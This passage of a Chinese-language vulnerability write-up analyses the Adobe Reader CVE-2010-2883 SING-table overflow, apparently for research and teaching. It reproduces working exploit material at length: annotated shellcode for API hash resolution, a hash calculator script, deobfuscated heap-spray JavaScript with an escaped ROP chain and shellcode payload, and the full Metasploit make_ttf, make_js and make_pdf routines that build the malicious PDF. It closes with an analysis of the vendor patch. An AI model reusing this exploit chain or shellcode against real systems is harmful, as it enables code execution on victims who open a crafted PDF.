jz get_next_mod ; 当我们到达Export Address Table表头的时候(向后搜索),表示遍历完成,处理下一个模块
dec ecx ; 减小函数名称计数器
mov esi, [ebx+ecx*4] ; 获得函数名称字符串的相对虚拟地址
add esi, edx ; 加上modules基地址,得到函数名称字符串的虚拟地址
xor edi, edi ; 清除edi,其将用来存储函数名的hash
; 将计算出的hash与我们想寻找的函数的hash进行比较
loop_funcname: ;
xor eax, eax ; 清除eax
lodsb ; 读取函数名(ASCII字符串)的一个字节,esi=esi+1
ror edi, 0xd ; 循环右移我们的hash值
add edi, eax ; 加上从函数名中读出的当前字节
cmp al, ah ; 比较al(当前读出的函数名中的字节)和ah(null)
jne loop_funcname ; 如果不相等,则表示还没到达终止符,继续遍历函数名
add edi, [ebp-8] ; 将当前模块的hash值与函数名的hash值相加
cmp edi, [ebp+0x24] ; 将计算出的hash与我们想寻找的函数的hash进行比较
jnz get_next_func ; 如果没有找到,则继续计算下一个函数的hash
; 如果找到,则修复栈,调用该函数,然后值,否则计算下一个
pop eax ; 从栈上取出当前module的导出表(Export Directory)的虚拟地址
mov ebx, [eax+0x24] ; 获得导出函数序号表(Export Ordinals Table)的相对虚拟地址
add ebx, edx ; 加上modules的基地址,得到导出函数序号表(Export Ordinals Table)的虚拟地址
mov cx, [ebx+2*ecx] ; 获得所需的函数的序号
mov ebx, [eax+0x1c] ; 获得导出函数地址表(Export Address Table)的相对虚拟地址
add ebx, edx ; 加上modules的基地址,得到导出函数地址表(Export Address Table)的虚拟地址
mov eax, [ebx+4*ecx] ; 获得所需的函数的相对虚拟地址
add eax, edx ; 加上modules的基地址,得到所需函数的虚拟地址
; 现在,我们修复栈并执行对所需函数的调用...
finish:
mov [esp+0x24], eax ; 使用所需的api地址覆盖旧的eax值,为即将到来的popad做准备
pop ebx ; 清除当前modules的hash
pop ebx ; 清除modules list的当前位置
popad ; 恢复所有的调用者的寄存器,除了eax,ecx,edx外,他们在clobbered寄存器列表中
pop ecx ; 弹出我们的调用者存放在栈上的原始的返回地址
pop edx ; 弹出我们的调用者存放在栈上的所需函数的hash值
push ecx ; 将正确的返回地址放在栈上
jmp eax ; 跳转至寻找到的所需的api函数
; 我们现在自动返回至正确的调用者所在的函数
get_next_mod: ;
pop eax ; 弹出当前modules导出表(Export Directory)的虚拟地址
get_next_mod1: ;
pop edi ; 弹出当前modules的hash
pop edx ; 恢复modules list的当前位置
mov edx, [edx] ; 获取下一个module,_LDR_DATA_TABLE_ENTRY->InMemoryOrderLinks->Flink
jmp next_mod ; 处理当前模块

调用WinExec()函数时参数如下:

1
2
3
0C0C0D40   041E00B4  +-CALL 到 WinExec 来自 041E00B2
0C0C0D44 041E00D3 | CmdLine = "calc.exe"
0C0C0D48 00000001 +-ShowState = SW_SHOWNORMAL

shellcode中计算api函数hash的算法如下(dll名称使用的是大写字母unicode字符串):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# Author:Sp4n9x
# -*- coding:utf-8 -*-

dll_name = "KERNEL32.DLL\x00"
# dll_name = "NTDLL.DLL\x00"
func_name = "WinExec\x00"
# func_name = "ExitProcess\x00"
# func_name = "RtlExitUserThread\x00"

bit = 32 # Hash位数
K = 0xD # 移位数
dll_name_hash = 0
func_name_hash = 0
api_hash = 0

def circular_shift_right (int_value,k,bit):
format_string = '{:0%db}' % bit
bin_value = format_string.format(int_value) # 32 bit binary
bin_value = bin_value[-k:] + bin_value[:-k]
int_value = int(bin_value,2)
return int_value

def ascii2unicode(ascsii_str):
unicode_str = ""
for c in ascsii_str:
unicode_str += c
unicode_str += chr(0)
return unicode_str

def calc_hash(name_string):
name_hash = 0
for c in name_string:
name_hash = circular_shift_right(name_hash,K,bit)
name_hash += ord(c)
return name_hash

def main():
dll_name_unicode = ascii2unicode(dll_name)
dll_name_hash = calc_hash(dll_name_unicode)
print "dll_name_hash:" + "{:x}".format(dll_name_hash).upper()
func_name_hash = calc_hash(func_name)
print "func_name_hash:" + "{:x}".format(func_name_hash).upper()
api_hash = dll_name_hash + func_name_hash
if api_hash > 0xFFFFFFFF:
api_hash = api_hash - 0x100000000
print "api_hash:" + "{:x}".format(api_hash).upper()

if __name__ == '__main__':
main()

0x42 Heap Spray

  在进行Heap Spray时,我们一般会将EIP控制到0x0C0C0C0C,利用javascript申请大量的堆内存块,并用包含着0x90(nop)shellcode的内存片覆盖这些内存。通常javascript会从内存低址向高址分配内存,因此申请的内存超过200MB(200MB=200x1024x1024=0x0C800000>0x0C0C0C0C)后,0x0C0C0C0C就会被含有shellcode的内存块覆盖。只要内存片中的0x90能够命中0x0C0C0C0C的位置,通过滑行,就可以执行到shellcode

  我们可以通过PDFStreamDumper看到内嵌的javascript代码。我们看到的代码是经过混淆的,所以将其复制出,将一些变量名对象名进行重命名后,得到如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%u6dba%u42a5%udd5e%ud9c4%u2474%u5df4%uc931%u31b1%uc583%u3104%u0f55%u5503%u4762%ua2b7%u0594%u5b38%u6a64%ubeb0%uaa55%ucba6%u1ac5%u9eac%ud1e9%u0ae0%u977a%u3c2c%u12cb%u730b%u0fcc%u126f%u524e%uf4bc%u9d6f%uf5b1%uc0a8%ua738%u8e61%u58ef%uda06%ud233%uca54%u0733%ued2c%u9612%ub427%u18b4%ucce4%u02fc%ue9e9%ub9b7%u86d9%u6849%u6610%u55e5%u959d%u92f7%u4619%uea82%ufb5a%u2895%u2721%uab13%uac81%u1783%u6030%ud355%ucd3e%ubb11%ud022%ub7f6%u595e%u17f9%u19d7%ub3de%ufabc%ue57f%uac18%uf580%u11c3%u7d25%u46e9%udc54%u9867%u5aea%u9ac5%u64f4%uf379%uefc5%u8416%u25d9%u7a53%u6490%u13f5%ufd7d%u7e44%u2b7e%u878a%udefd%u7c72%uab1d%u3877%u4799%u5105%u684c%u52ba%u0b45%uc15d%ue205%u61f8%ufaaf' );
var nop = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); //nop.length=2,unicode字符数
while (nop.length + 20 + 8 < 65536) //2^16=65536,0x10000,nop长度最终为0x20000字节(128KB),这里的(+20+8)感觉没什么作用
nop+=nop;
temp_chip = nop.substring(0, (0x0c0c-0x24)/2); //精准堆喷
temp_chip += shellcode;
temp_chip += nop;
memory_chip = temp_chip.substring(0, 65536/2); //memory_chip长度为0x10000字节(64KB)
while(memory_chip.length < 0x80000) //memory_chip长度最终为0x80000*2=0x100000字节(1MB)
memory_chip += memory_chip;
memory_chip_reduce = memory_chip.substring(0, 0x80000 - (0x1020-0x08) / 2); //加快堆喷速度(0x20+0x1000-0x8),对齐大小0x1000,x86使用的页面大小为4K

var memory = new Array();
for (count = 0; count < 0x1f0; count++) //0x1F0=496
memory[count] = memory_chip_reduce + "s";

  平常看到的Heap Spray代码都是使用%u9090(NOP)进行填充,看到这个漏洞的Heap Spray代码有点蒙逼,然后百度了一下,发现%u0C0C相当于OR AL,0CH,虽然说用到了AL,但是这肯定与后面的shellcode代码无关,所以也就相当于啥也没做。一般对Heap Spray的内存块填充以NOP SLED + ShellCode形式进行填充,NOP SLED在整个内存块中所占比例较大,所以当控制EIP转到0x0C0C0C0C执行时,命中NOP SLED的几率比较大。但是此漏洞使用的堆喷代码进行了精准堆喷,使地址0x0C0C0C0C处的代码就是用于漏洞利用的有效代码。由于Windows系统的分配粒度64KB,所以分配到的堆块首地址的对齐大小为0x10000,堆块大小为0x100000(1MB)。我们只要让每个内存块中地址为0x....0C0C处的代码为漏洞利用的有效代码,就可以做到精准堆喷。为了加快堆喷的速度,我们可以将1MB内存块中,最后一个0x10000内存片中shellcode后面的数据剪掉,避免无用数据的赋值,就可以加快堆喷的速度。

  从上面的代码可知,我们是用大小为65536B的数据填充1MB的内存块,每块数据的起始地址都是0x....0000,从temp_chip = nop.substring(0, (0x0c0c-0x24)/2);这句可以看出,是为了将shellcode放置在每个数据块(65536B)偏移为0x0C0C-0x24的位置。0x24(36 bytes=32+4)是因为申请到的内存块拥有一些额外的信息,为了精确的计算出偏移,所以要将这部分信息所占的内存减去。所以,当我们控制EIP跳转到0x0C0C0C0C时,可以直接执行shellcode

SIZE 说明
header 32 bytes 堆块信息头
string length 4 bytes 字符串长度
terminator 2 bytes 字符串终止符,两个字节的NULL

0x43 Exploit脚本分析

1、exploit()

  Exploit脚本位置在metasploit-framework/modules/exploits/windows/fileformat,其主函数为exploit,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
def exploit
ttf_data = make_ttf() # 构造ttf字体数据,SING表内容就在其中

js_data = make_js(payload.encoded) # 构建Heap Spary js代码,ROP Chain及Payload就包含在里面

# Create the pdf
pdf = make_pdf(ttf_data, js_data) # 构造pdf文件数据,将前面构造好的ttf字体数据和js代码放入其中

print_status("Creating '#{datastore['FILENAME']}' file...")

file_create(pdf) # 创建pdf文件
end

2、make_ttf()

  此函数首先打开了一个正常的ttf模板文件,然后构造了SING表数据,将ttf字体文件中的name表数据替换为构造的SING表数据,“name”字符串替换为“SING”构造的SING表数据包括用于将程序控制流劫持到Heap Spary代码处执行的ROP Chain,以及溢出后、获得程序控制流之前,用于绕过造成程序执行出错的数据。这部分在前面分析此漏洞是怎样触发的时候,介绍过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def make_ttf
ttf_data = ""
# 加载正常的ttf字体文件
# NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
path = File.join( Msf::Config.data_directory, "exploits", "cve-2010-2883.ttf" )
fd = File.open( path, "rb" )
ttf_data = fd.read(fd.stat.size)
fd.close

# 构造SING表
sing = ''
sing << [
0, 1, # tableVersionMajor, tableVersionMinor (0.1)
0xe01, # glyphletVersion
0x100, # embeddingInfo
0, # mainGID
0, # unitsPerEm
0, # vertAdvance
0x3a00 # vertOrigin
].pack('vvvvvvvv') # 把两个字符当作little-endian字节顺序的无符号的short。
# uniqueName
# "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
#sing << "A" * (0x254 - sing.length)
sing << rand_text(0x254 - sing.length) # 生成随机文本字符,避免漏洞利用中的坏字符

# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
# 07001400 f0:ff08 lock dec dword ptr ds:[eax] ; eax=0x4a8a08e2,这句代码将[0x4a8a08e2]变为0xFFFFFFFF
# 这段代码对eax指向的内存进行了读写,所以eax的值必须是一个可读可写的地址
# 0x4a8a08e2位于icucnv36的.data段,0x4a8a08e2由this指针(对象(0x0012E608))的值得来(lea eax,dword ptr ds:[ecx+0x1C])
sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')

# This becomes our new EIP (puts esp to stack buffer),此ROPgadget使esp指向栈上uniqueName缓冲区内
# ROP1
ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
sing[0x208, 4] = [ret].pack('V')

# This becomes the new eip after the first return,此ROPgadget使esp变为Heap Spary中的Payload地址,并跳转到Payload执行
# ROP2
ret = 0x4a82a714 # pop esp / ret
sing[0x18, 4] = [ret].pack('V')

# This becomes the new esp after the first return,Heap Spary中的Payload地址,新的esp
esp = 0x0c0c0c0c
sing[0x1c, 4] = [esp].pack('V')

# Without the following, sub_801ba57 returns 0.
sing[0x24c, 4] = [0x6c].pack('V')

ttf_data[0xec, 4] = "SING"
ttf_data[0x11c, sing.length] = sing

ttf_data
end

3、make_js()

  此函数的功能将javascript的代码转换为字符串,并将javascript的变量名进行混淆。javascript的代码用于堆喷,所以我们应将用于将真正的shellcode复制到可读可写可执行内存段的ROP Chain以及经过编码的Payload编入其中。将真正的shellcode复制到可读可写可执行内存段的ROP Chain的细节前面讲过了,就不说了。其他关键部分都做了注释,函数功能如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
def make_js(encoded_payload)
# 使用icucnv36.dll中的代码片段,构建ret2lib的ROP Chain.以此绕过DEP,执行shellcode.
stack_data = [
0x41414141, # unused
0x4a8063a5, # pop ecx / ret
0x4a8a0000, # becomes ecx

0x4a802196, # mov [ecx],eax / ret # save whatever eax starts as

0x4a801f90, # pop eax / ret
0x4a84903c, # becomes eax (import for CreateFileA)

# -- call CreateFileA
0x4a80b692, # jmp [eax]
0x4a801064, # ret
0x4a8522c8, # first arg to CreateFileA (lpFileName / pointer to "iso88591")
0x10000000, # second arg - dwDesiredAccess
0x00000000, # third arg - dwShareMode
0x00000000, # fourth arg - lpSecurityAttributes
0x00000002, # fifth arg - dwCreationDisposition
0x00000102, # sixth arg - dwFlagsAndAttributes
0x00000000, # seventh arg - hTemplateFile

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx

0x4a842db2, # xchg eax,edi / ret

0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx - offset to modify

#
# This points at a neat-o block of code that ... TBD
#
# and [esp+ebx*2],edi
# jne check_slash
# ret_one:
# mov al,1
# ret
# check_slash:
# cmp al,0x2f
# je ret_one
# cmp al,0x41
# jl check_lower
# cmp al,0x5a
# jle check_ptr
# check_lower:
# cmp al,0x61
# jl ret_zero
# cmp al,0x7a
# jg ret_zero
# cmp [ecx+1],0x3a
# je ret_one
# ret_zero:
# xor al,al
# ret
#
0x4a80a8a6, # execute fun block

0x4a801f90, # pop eax / ret
0x4a849038, # becomes eax (import for CreateFileMappingA)

# -- call CreateFileMappingA
0x4a80b692, # jmp [eax]
0x4a801064, # ret
0xffffffff, # arguments to CreateFileMappingA, hFile
0x00000000, # lpAttributes
0x00000040, # flProtect
0x00000000, # dwMaximumSizeHigh
0x00010000, # dwMaximumSizeLow
0x00000000, # lpName

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx

0x4a842db2, # xchg eax,edi / ret

0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx - offset to modify

0x4a80a8a6, # execute fun block

0x4a801f90, # pop eax / ret
0x4a849030, # becomes eax (import for MapViewOfFile

# -- call MapViewOfFile
0x4a80b692, # jmp [eax]
0x4a801064, # ret
0xffffffff, # args to MapViewOfFile - hFileMappingObject
0x00000022, # dwDesiredAccess
0x00000000, # dwFileOffsetHigh
0x00000000, # dwFileOffsetLow
0x00010000, # dwNumberOfBytesToMap

0x4a8063a5, # pop ecx / ret
0x4a8a0004, # becomes ecx - writable pointer

0x4a802196, # mov [ecx],eax / ret - save map base addr

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret

0x4a842db2, # xchg eax,edi / ret

0x4a802ab1, # pop ebx / ret
0x00000030, # becomes ebx - offset to modify

0x4a80a8a6, # execute fun block

0x4a801f90, # pop eax / ret
0x4a8a0004, # becomes eax - saved file mapping ptr

0x4a80a7d8, # mov eax,[eax] / ret - load saved mapping ptr

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret

0x4a842db2, # xchg eax,edi / ret

0x4a802ab1, # pop ebx / ret
0x00000020, # becomes ebx - offset to modify

0x4a80a8a6, # execute fun block

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret

0x4a80aedc, # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret

0x4a801f90, # pop eax / ret
0x00000034, # becomes eax

0x4a80d585, # add eax,edx / ret

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret

0x4a842db2, # xchg eax,edi / ret

0x4a802ab1, # pop ebx / ret
0x0000000a, # becomes ebx - offset to modify

0x4a80a8a6, # execute fun block

0x4a801f90, # pop eax / ret
0x4a849170, # becomes eax (import for memcpy)

# -- call memcpy
0x4a80b692, # jmp [eax]
0xffffffff, # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
0xffffffff, # becomes first arg to memcpy (dst)
0xffffffff, # becomes second arg to memcpy (src)
0x00001000, # becomes third arg to memcpy (length)
].pack('V*')

# 用于混淆js的变量名
var_unescape = rand_text_alpha(rand(100) + 1) # rand_text_alpha()用于生成随机的字符串,同时避免生成漏洞利用中的坏字符。
var_shellcode = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)
var_s = 0x10000
var_c = rand_text_alpha(rand(100) + 1)
var_b = rand_text_alpha(rand(100) + 1)
var_d = rand_text_alpha(rand(100) + 1)
var_3 = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
var_4 = rand_text_alpha(rand(100) + 1)

payload_buf = ''
payload_buf << stack_data # 将真正的shellcode复制到可读可写可执行内存段的ROP Chain。
payload_buf << encoded_payload # 经过编码的shellcode放在ROP Chain的后面

escaped_payload = Rex::Text.to_unescape(payload_buf) # 返回用于Javascript的unicode转义字符串

js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|

js
end

4、make_pdf()

  此函数一步一步构造pdf中的每一个obj,将ttf字体数据javascript代码分别放在了obj10obj12,然后在obj1中设置/OpenAction 11 0 R,使pdf文件打开时,javascript能够被执行,从而实现Heap Spary。还构造了obj13,使icucnv36.dll能够被加载。因为,exp中使用的ROPgadget都是出自icucnv36.dll模块的,所以其必须要被加载到内存中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
def make_pdf(ttf, js)
xref = []
eol = "\n" # end of line
endobj = "endobj" << eol

# Randomize PDF version?
pdf = "%PDF-1.5" << eol
pdf << "%" << random_non_ascii_string(4) << eol # 四字节随机的非ASCII字符串

# catalog
xref << pdf.length
pdf << io_def(1) << n_obfu("<<") << eol
pdf << n_obfu("/Pages ") << io_ref(2) << eol
pdf << n_obfu("/Type /Catalog") << eol
pdf << n_obfu("/OpenAction ") << io_ref(11) << eol
# The AcroForm is required to get icucnv36.dll to load
pdf << n_obfu("/AcroForm ") << io_ref(13) << eol # /AcroForm是为了主程序能够加载icucnv36.dll
pdf << n_obfu(">>") << eol
pdf << endobj

# pages array
xref << pdf.length
pdf << io_def(2) << n_obfu("<<") << eol
pdf << n_obfu("/MediaBox ") << io_ref(3) << eol
pdf << n_obfu("/Resources ") << io_ref(4) << eol
pdf << n_obfu("/Kids [") << io_ref(5) << "]" << eol
pdf << n_obfu("/Count 1") << eol
pdf << n_obfu("/Type /Pages") << eol
pdf << n_obfu(">>") << eol
pdf << endobj

# media box
xref << pdf.length
pdf << io_def(3)
pdf << "[0 0 595 842]" << eol
pdf << endobj

# resources
xref << pdf.length
pdf << io_def(4)
pdf << n_obfu("<<") << eol
pdf << n_obfu("/Font ") << io_ref(6) << eol
pdf << ">>" << eol
pdf << endobj

# page 1
xref << pdf.length
pdf << io_def(5) << n_obfu("<<") << eol
pdf << n_obfu("/Parent ") << io_ref(2) << eol
pdf << n_obfu("/MediaBox ") << io_ref(3) << eol
pdf << n_obfu("/Resources ") << io_ref(4) << eol
pdf << n_obfu("/Contents [") << io_ref(8) << n_obfu("]") << eol
pdf << n_obfu("/Type /Page") << eol
pdf << n_obfu(">>") << eol # end obj dict
pdf << endobj

# font
xref << pdf.length
pdf << io_def(6) << n_obfu("<<") << eol
pdf << n_obfu("/F1 ") << io_ref(7) << eol
pdf << ">>" << eol
pdf << endobj

# ttf object
xref << pdf.length
pdf << io_def(7) << n_obfu("<<") << eol
pdf << n_obfu("/Type /Font") << eol
pdf << n_obfu("/Subtype /TrueType") << eol
pdf << n_obfu("/Name /F1") << eol
pdf << n_obfu("/BaseFont /Cinema") << eol
pdf << n_obfu("/Widths []") << eol
pdf << n_obfu("/FontDescriptor ") << io_ref(9)
pdf << n_obfu("/Encoding /MacRomanEncoding")
pdf << n_obfu(">>") << eol
pdf << endobj

# page content
content = "Hello World!"
content = "" +
"0 g" + eol +
"BT" + eol +
"/F1 32 Tf" + eol +
"32 Tc" + eol +
"1 0 0 1 32 773.872 Tm" + eol +
"(" + content + ") Tj" + eol +
"ET"

xref << pdf.length
pdf << io_def(8) << "<<" << eol
pdf << n_obfu("/Length %s" % content.length) << eol
pdf << ">>" << eol
pdf << "stream" << eol
pdf << content << eol
pdf << "endstream" << eol
pdf << endobj

# font descriptor
xref << pdf.length
pdf << io_def(9) << n_obfu("<<")
pdf << n_obfu("/Type/FontDescriptor/FontName/Cinema")
pdf << n_obfu("/Flags %d" % (2**2 + 2**6 + 2**17))
pdf << n_obfu("/FontBBox [-177 -269 1123 866]")
pdf << n_obfu("/FontFile2 ") << io_ref(10)
pdf << n_obfu(">>") << eol
pdf << endobj

# ttf stream
xref << pdf.length
compressed = Zlib::Deflate.deflate(ttf) # 字体数据是通过zlib进行压缩后放入pdf的
pdf << io_def(10) << n_obfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj

# js action
xref << pdf.length
pdf << io_def(11) << n_obfu("<<")
pdf << n_obfu("/Type/Action/S/JavaScript/JS ") + io_ref(12)
pdf << n_obfu(">>") << eol
pdf << endobj

# js stream
xref << pdf.length
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js)) # javascript代码也是通过zlib进行压缩后放入pdf的
pdf << io_def(12) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj

###
# The following form related data is required to get icucnv36.dll to load
# 以下表单相关数据是为了让icucnv36.dll得到加载
###

# form object
xref << pdf.length
pdf << io_def(13)
pdf << n_obfu("<</XFA ") << io_ref(14) << n_obfu(">>") << eol
pdf << endobj

# form stream
xfa = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/2.6/">
<present><pdf><interactive>1</interactive></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet></pageSet>
</subform></template></xdp:xdp>
EOF

xref << pdf.length
pdf << io_def(14) << n_obfu("<</Length %s>>" % xfa.length) << eol
pdf << "stream" << eol
pdf << xfa << eol
pdf << "endstream" << eol
pdf << endobj

###
# end form stuff for icucnv36.dll
###

# trailing stuff
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end

pdf << "trailer" << eol
pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol

pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol

pdf << "%%EOF" << eol
pdf
end

0x50 漏洞修复

  我下载了Adobe Reader v9.4.0版本,安装好后,提取出了其中的CoolType.dll模块。Adobe Reader v9.3.4CoolType.dll的版本是v5.5.72.1,Adobe Reader v9.4.0CoolType.dll的版本是v5.5.73.1。通过BinDiff进行对比后,结果如下:

BinDiff结果

  其中strcat()函数被sub_813391E()函数替换,我们进入sub_813391E()函数,看看是怎样验证uniqueName字段长度的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
sub_813391E(&uniqueName_buf, (char *)(v22 + 16), 260);
sub_8001243(&uniqueName_buf);

char *__cdecl sub_813391E(char *uniqueName_buf, char *uniqueName_str, int max_length)
{
size_t len; // eax@1
char *result; // eax@2

len = strlen(uniqueName_buf); // 如果uniqueName_buf已经有了字符串,先计算其长度
if ( max_length > len ) // 判断字符串长度是否超过最大值,max_length=0x104=260
// 将pdf中uniqueName字段的内容复制到缓冲区中已有的字符串之后,长度之和不能超过260字节
result = strncat(&uniqueName_buf[len], uniqueName_str, max_length - len - 1);
else
result = uniqueName_buf;
return result;
}

//************************************************************************************************//
//函数原型:char *strncat(char *dest, const char *src, size_t n) //
//函数功能:从*src复制n个字节到*dest //
//函数参数:dest -- 指向目标数组,该数组包含了一个 C 字符串,且足够容纳追加后的字符串,包括额外的空字符。 //
// src -- 要追加的字符串。 //
// n -- 要追加的最大字符数。 //
//函数返回值:该函数返回一个指向最终的目标字符串 dest 的指针。 //
//************************************************************************************************//

  我们可以看到sub_813391E()函数首先查看uniqueName在栈上的缓冲区是否已经有字符串存在,并通过strlen()计算其长度。如果长度小于260,则通过strncat()函数将pdf中的字体数据中的SING表的uniqueName字段的内容复制到栈上缓冲区中已经存在的字符串后面,并且复制长度与缓冲区中已经存在的字符串长度之和不能超过260字节。

  到此为止,这个漏洞的分析暂告一段落,后面搞清楚了一些没搞清楚的细节,再来补充。

0x60 Reference

文章目录
  1. 0x00 漏洞描述
  2. 0x10 分析环境
  3. 0x20 漏洞复现
    1. 0x21 生成exploit样本文件
    2. 0x22 反弹shell
  4. 0x30 漏洞原理分析
    1. 0x31 PDF文件格式
    2. 0x32 SING表结构
    3. 0x33 漏洞触发
      1. 1、静态分析
      2. 2、动态调试
        1. 2.1、sub_8021B06()函数的作用
        2. 2.2、strcat()函数溢出分析
        3. 2.3、触发过程
        4. 2.4、触发原因
        5. 2.5、样本中SING表数据“0x4A8A08C6”的作用
        6. 2.6、样本中SING表数据“0x6C”的作用
  5. 0x40 漏洞利用
    1. 0x41 ROP绕过DEP
      1. 1、阶段1:跳转到堆喷代码
      2. 2、阶段2:将真正的shellcode复制到可读可写可执行内存段
      3. 3、阶段3:执行shellcode
    2. 0x42 Heap Spray
    3. 0x43 Exploit脚本分析
      1. 1、exploit()
      2. 2、make_ttf()
      3. 3、make_js()
      4. 4、make_pdf()
  6. 0x50 漏洞修复
  7. 0x60 Reference